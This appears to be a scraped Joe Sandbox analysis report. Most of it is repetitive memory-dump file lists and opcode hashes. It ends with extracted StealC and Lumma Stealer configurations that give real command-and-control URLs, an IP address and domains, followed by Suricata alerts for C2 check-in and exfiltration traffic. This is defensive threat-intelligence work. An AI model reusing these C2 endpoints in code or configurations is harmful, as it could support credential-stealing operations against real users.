Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ed8a31ba856bb27c7479f270e4e908d58b753b58d1439d061bc0e8884697324
Instruction ID: d3d358c5787bd724ecf1915afbe6214f129bb793eccde579db9064adf26e3338
Opcode Fuzzy Hash: 3ed8a31ba856bb27c7479f270e4e908d58b753b58d1439d061bc0e8884697324
Instruction Fuzzy Hash: 4F415BB210C300AFE301AF59ED859BEFBF9FB99330F26482DE5C592600D37559848A67

Function 00EE05B5 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82fd42161239e40c764f163e53dca9e056ab38a0c2e7997751fe5fa1ce538e8f
Instruction ID: ef749c32c9f98ae2f369b3102be09fa1af3b57d9f2d57dd522dbe2e74152fa48
Opcode Fuzzy Hash: 82fd42161239e40c764f163e53dca9e056ab38a0c2e7997751fe5fa1ce538e8f
Instruction Fuzzy Hash: FB3133B250C300AFE311AE69E885ABAFBE9FF59320F16482DE6C593610D37154808B97

Function 00EE05E9 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5eb7c1972bdaef69fceea5896e0b2836f1e6b143d880bca878fbb08e402f381
Instruction ID: 1ce360870da3f5be10eae2c40c63f43f56db89e7b8858ef2e2961e3c46b7b12f
Opcode Fuzzy Hash: e5eb7c1972bdaef69fceea5896e0b2836f1e6b143d880bca878fbb08e402f381
Instruction Fuzzy Hash: 433111B250C300EFE705AF29E885AAAFBE5FF58364F16092DE6C592610D73564808B97

Function 00EE19E9 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10b7ee2dce4f5053c4fbfd984c3d1026a72f5670f2e1a3c8108f5d04751b1d2b
Instruction ID: 5904a70b0e24c572f8ca3a1927fce96b69059b7a7bcda5f778456519f6340857
Opcode Fuzzy Hash: 10b7ee2dce4f5053c4fbfd984c3d1026a72f5670f2e1a3c8108f5d04751b1d2b
Instruction Fuzzy Hash: 961104B654E2C86EE30287265D10AFA7F78EAC3730B3054FAF449E6542C2605D49D7B1

Function 00EF3ADD Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fee8c30b3cf2f962338cced9c710e0c61a3990c31657fe47006d618ce5275da
Instruction ID: 45d01359c7bf270cfeda3d21d24fae45a243a76f30226122fbb750062731e602
Opcode Fuzzy Hash: 0fee8c30b3cf2f962338cced9c710e0c61a3990c31657fe47006d618ce5275da
Instruction Fuzzy Hash: 7CE04F36114105AAC7009F64C85599FFBF4FF59310F219845F884C7622C2354D41CB2A

Source: 00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: Qmg24kMXxU.exe.6508.2.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "discokeyus.lat", "necklacebudi.lat", "crosshuaht.lat", "aspecteirs.lat", "sweepyribs.lat"], "Build id": "1Qu--"}

Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:50602 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49738 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.6:58159 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:59610 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49748 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49754 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49779 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49792 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49807 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49821 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49858 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49738 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49738 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49748 -> 172.67.197.170:443
